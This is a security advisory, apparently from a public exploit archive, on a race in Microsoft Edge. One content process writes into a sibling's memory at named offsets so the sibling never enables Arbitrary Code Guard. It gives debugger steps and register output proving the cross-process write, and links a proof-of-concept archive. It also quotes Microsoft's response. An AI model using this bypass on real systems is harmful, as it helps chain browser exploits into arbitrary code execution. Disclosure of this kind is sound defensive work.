Each Edge Content process (MicrosoftEdgeCP.exe) needs to call SetProcessMitigationPolicy() on itself to enable ACG. The callstack when this happens is:
00 KERNELBASE!SetProcessMitigationPolicy
01 MicrosoftEdgeCP!SetProcessDynamicCodePolicy+0xc0
02 MicrosoftEdgeCP!StartContentProcess_Exe+0x164
03 MicrosoftEdgeCP!main+0xfe
04 MicrosoftEdgeCP!_main+0xa6
05 MicrosoftEdgeCP!WinMainCRTStartup+0x1b3
06 KERNEL32!BaseThreadInitThunk+0x14
07 ntdll!RtlUserThreadStart+0x21
The issue is that one MicrosoftEdgeCP.exe can OpenProcess() another MicrosoftEdgeCP.exe as long as they are in the same App Container. So MicrosoftEdgeCP.exe process A can race MicrosoftEdgeCP.exe B when it still doesn't have ACG enabled and tamper with it in such a way that process B never enables ACG.
Having another MicrosoftEdgeCP.exe process not enable ACG is pretty straightforward as SetProcessDynamicCodePolicy consults a number of global variables to determine if ACG should be enabled or not. For example, in IEIsF12Host(), which is called from GetDynamicCodeRestrictionsEnablementState, two global variables (at offsets 0x23092 and 0x23090 in the Edge version we tested on, up-to-date on Windows 10 version 1709) are checked, and if they are both nonzero, ACG is not going to get enabled. Thus it is sufficient for process A to OpenProcess() and call a single WriteProcessMemory() with a known address (note: we assume ASLR is already defeated at this point) in order to disable ACG.
When process A disables ACG in process B it is possible to further tamper with process B and get it to allocate executable memory and run arbitrary payload either in process A or process B.
A debug log below demonstrates how it is indeed possible to OpenProcess() and WriteProcessMemory() from one MicrosoftEdgeCP.exe to another. All that is left to prove is that this race is winnable. To demonstrate that, we wrote a small program that scans the processes and whenever a new MicrosoftEdgeCP.exe appears, it patches it as described above. In our experiments this reliably disables ACG for all of the MicrosoftEdgeCP.exe processes created after the PoC program runs. The Visual Studio project for the PoC is attached. It is also possible to run the PoC in Edge's App Container, which proves that an Edge Content Process has access to all of the functionality needed to exploit the issue.
To demonstrate two MicrosoftEdgeCP.exe processes can tamper with each other, select two processes in the same App Container (all Content Processes for Internet sites should be in the same container) and attach a debugger to one of them.
0:061> r rip=kernelbase!openprocess
0:061> r rcx=28 # PROCESS_VM_WRITE | PROCESS_VM_OPERATION
0:061> r rdx=0
0:061> r r8=e84 # pid of the other process
0:061> p
...
After OpenProcess() completes we can see that it was successful and that the returned handle has the value of 0x698.
0:061> r
rax=0000000000000698 rbx=0000000000000000 rcx=00007ff87c720344
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff878c8dc6d rsp=00000082622dfe28 rbp=0000000000000000
r8=00000082622dfdb8 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
Then, we can test writing to the other process's memory with
0:061> r rip=kernelbase!writeprocessmemory
0:061> r rcx=698 # handle returned from OpenProcess()
0:061> r rdx=00007ff7`b8483090 # base of MicrosoftEdgeCP.exe + 0x23090
0:061> r r8=00000082`622dfef0 # address of buffer to write
0:061> r r9=3 # size of data to write
0:061> p
...
After it completes we see that the return value is 1 which indicates success:
0:061> r
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff878cca1d6 rsp=00000082622dfe28 rbp=0000000000000000
r8=00000082622dfcf8 r9=00000082622dfdd1 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
You can also attach a debugger to the other process and verify that the data was written correctly.
Microsoft's reply: "First, thank you for reporting this to us. Our engineering team does agree with your assessment. The approach we are taking to address this issue is moving the enablement of ACG to process creation time rather than deferring until after the process has started. Our plan of action would be not to address it through a hotfix, but instead in the next release of Windows."
Regarding severity, as with the other mitigation bypasses, note that this issue can't be exploited on its own. An attacker would first need to exploit an unrelated vulnerability to gain some capabilities in the Edge content process (such as the ability to read and write arbitrary memory locations), after which they could use this vulnerability to gain additional capabilities (namely, the ability to run arbitrary machine code).
The issue was identified by James Forshaw and Ivan Fratric.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44467.zip